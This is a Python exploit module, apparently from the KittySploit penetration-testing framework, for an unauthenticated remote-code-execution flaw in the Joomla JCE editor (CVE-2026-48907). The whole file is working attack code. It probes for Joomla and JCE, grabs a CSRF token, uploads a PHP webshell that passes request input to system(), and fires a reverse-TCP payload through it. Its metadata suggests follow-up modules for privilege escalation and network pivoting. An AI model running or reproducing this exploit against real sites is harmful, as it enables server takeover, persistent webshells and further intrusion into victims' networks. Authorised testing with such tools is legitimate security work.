Joomla JCE < 2.9.99.5 - Unauthenticated RCE (CVE-2026-48907)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.joomla_probe import JCE_PATCHED_VERSION, Joomla


class Module(Exploit, Http_client, Joomla):

    __info__ = {
        "name": "Joomla JCE < 2.9.99.5 - Unauthenticated RCE (CVE-2026-48907)",
        "description": (
            "Exploits CVE-2026-48907 in Joomla JCE Editor (< 2.9.99.5): unauthenticated "
            "arbitrary file upload via profile import or JCE browser chain, followed by "
            "PHP webshell execution."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-48907"],
        "arch": [Arch.PHP],
        "platform": Platform.PHP,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
        "references": [
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48907",
        ],
        "tags": ["joomla", "jce", "file-upload", "rce", "cve-2026-48907"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 10,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': ['joomla', 'php'],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {'joomla': 0.3, 'php': 0.3},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    cmd_param = OptString("cmd", "GET/POST parameter used to invoke the uploaded webshell", required=False)

    def _build_shell(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        payload = str(payload or "").strip()
        param = str(self.cmd_param or "cmd").strip() or "cmd"
        return (
            '<?php '
            f'if(isset($_REQUEST["{param}"])){{'
            f'@system($_REQUEST["{param}"]);'
            "}}"
            f'else{{echo "{param}";}}'
            " ?>"
        )

    def check(self):
        joomla = self.probe_joomla()
        if not joomla.get("found"):
            return {"vulnerable": False, "reason": "Joomla not detected", "confidence": "low"}

        jce = self.probe_jce()
        if not jce.get("found"):
            return {"vulnerable": False, "reason": "JCE not detected", "confidence": "low"}

        jce_version = jce.get("version")
        if jce_version and self.jce_is_patched(jce_version):
            return {
                "vulnerable": False,
                "reason": f"JCE {jce_version} >= {JCE_PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        token = self.fetch_csrf_token()
        if not token:
            return {
                "vulnerable": False,
                "reason": "No Joomla CSRF token — may be patched or unreachable",
                "confidence": "medium",
            }

        confidence = "high" if jce_version else "medium"
        reason = (
            f"Joomla + JCE detected (JCE {jce_version or 'unknown'}). "
            f"Likely vulnerable to CVE-2026-48907 if < {JCE_PATCHED_VERSION}."
        )
        return {"vulnerable": True, "reason": reason, "confidence": confidence}

    def _execute_via_shell(self, shell_path: str) -> bool:
        param = str(self.cmd_param or "cmd").strip() or "cmd"
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if not command:
            print_error("No payload/command configured")
            return False

        response = self.http_request(
            method="GET",
            path=shell_path,
            params={param: command},
            timeout=15,
        )
        return bool(response and response.status_code == 200)

    def run(self):
        try:
            print_status("CVE-2026-48907 — Joomla JCE unauthenticated RCE")
            print_status(f"Target: {self.target}:{self.port}")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            token = self.fetch_csrf_token()
            if not token:
                print_error("Failed to obtain Joomla CSRF token")
                return False

            shell_source = self._build_shell()
            print_status("Uploading PHP webshell via JCE...")
            uploaded = self.jce_upload_php(token, shell_source)
            if not uploaded:
                print_error("File upload failed — target may be patched or hardened")
                self.not_vulnerable()
                return False

            shell_path = uploaded["path"]
            print_success(
                f"Shell uploaded via {uploaded['vector']}: {shell_path} "
                f"({uploaded['filename']})"
            )

            verify = self.joomla_http_get(shell_path, timeout=10)
            if not verify or verify.status_code != 200:
                print_warning("Shell path not directly reachable; attempting payload anyway")

            print_status("Executing payload via uploaded shell...")
            if self._execute_via_shell(shell_path):
                print_success("Exploit finished — verify session/handler for callback")
                self.vulnerable()
                return True

            print_error("Payload execution did not return HTTP 200")
            print_warning(f"Shell may still be present at {shell_path} — manual cleanup required")
            self.vulnerable()
            return False

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False